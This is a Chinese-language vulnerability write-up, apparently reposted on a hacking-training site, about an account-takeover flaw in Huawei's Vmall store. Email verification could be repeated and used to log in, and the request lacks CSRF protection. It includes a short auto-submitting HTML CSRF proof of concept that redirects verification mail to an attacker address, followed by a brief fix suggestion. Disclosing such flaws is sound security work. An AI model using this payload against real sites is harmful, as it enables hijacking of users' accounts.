华为商城某功能设计权限导致可劫持任意用户账户
测试站点:www.vmall.com

1.注册一个用户(邮箱帐号xxxx@sina.com);

2.在个人信息里需要验证邮箱,点击验证邮箱抓包改写了下邮箱为xxxxx@qq.com并提交,发现提交成功了,登陆QQ邮箱成功收到系统的验证邮件;

3.点击邮箱中的验证链接成功验证(汗...),并且验证后直接成功登陆帐号;


4.这时我们发现,已经验证成功的用户帐号,居然还能继续验证,这里需要构造请求来完成,look,这是我们刚刚验证过的帐号;

5.我们发现邮箱验证功能,这个地方可反复多次验证任意邮箱,并且在收到系统发送的验证邮件后,点击可直接登陆用户帐号;所以,如果能够让用户发送邮箱验证请求到攻击者的邮箱,那攻击者就能劫持该用户的帐号;
6.很幸运,我们发现这个邮箱验证功能存在CSRF的安全问题,例子PoC如下:
<html><form id="test" name="test" action="http://www.vmall.com/member/account/sendEmail.json" method="POST"><input type="hidden" name="email" value="hacker@qq.com" /><input type="submit" value="submit"></from><script> document.test.submit();</script></html>
7.用户在登陆的情况下访问该页面的话,那么你懂的,而且在测试后发现,华为的很多系统能够通用cookies,这又增加了攻击成功的可能;

修复方案:
验证功能验证不严呀,敏感操作加入token吧
报名学习加微信/QQ 1602007,关注《东方联盟网》微信公众号
>更多相关文章
- 11-15不看后悔!程序员防御XSS的无奈
- 11-10揭秘Web黑客3种注入点判断方法
- 11-10黑客Web脚本注入攻击深度剖析
- 10-21全球无线网络面临黑客攻击风险 WiFi曝安全漏洞
- 02-24iPhone再爆安全漏洞 黑客1分钟可盗照片及加密信息
- 02-22互联网金融风险 警示网站漏洞或成“致命点”
首页推荐
佛山市东联科技有限公司一直秉承“一切以用户价值为依归
- 01-11全球最受赞誉公司揭晓:苹果连续九年第一
- 12-09罗伯特·莫里斯:让黑客真正变黑
- 12-09谁闯入了中国网络?揭秘美国绝密黑客小组TA
- 12-09警示:iOS6 惊现“闪退”BUG
- 04-08岚图汽车:一季度海外订单同比增长205%
- 04-08小米汽车回应大家关心的问题:事故车起火并
- 03-29黑客组织攻击纽约大学官网,泄露 300万学生
- 03-29阿里妈妈广告自研AI模型LMA升级至万亿级参数
- 03-29筑牢食品安全防线 构建放心消费环境
相关文章
24小时热门资讯
热门推荐
最新资讯
操作系统
黑客防御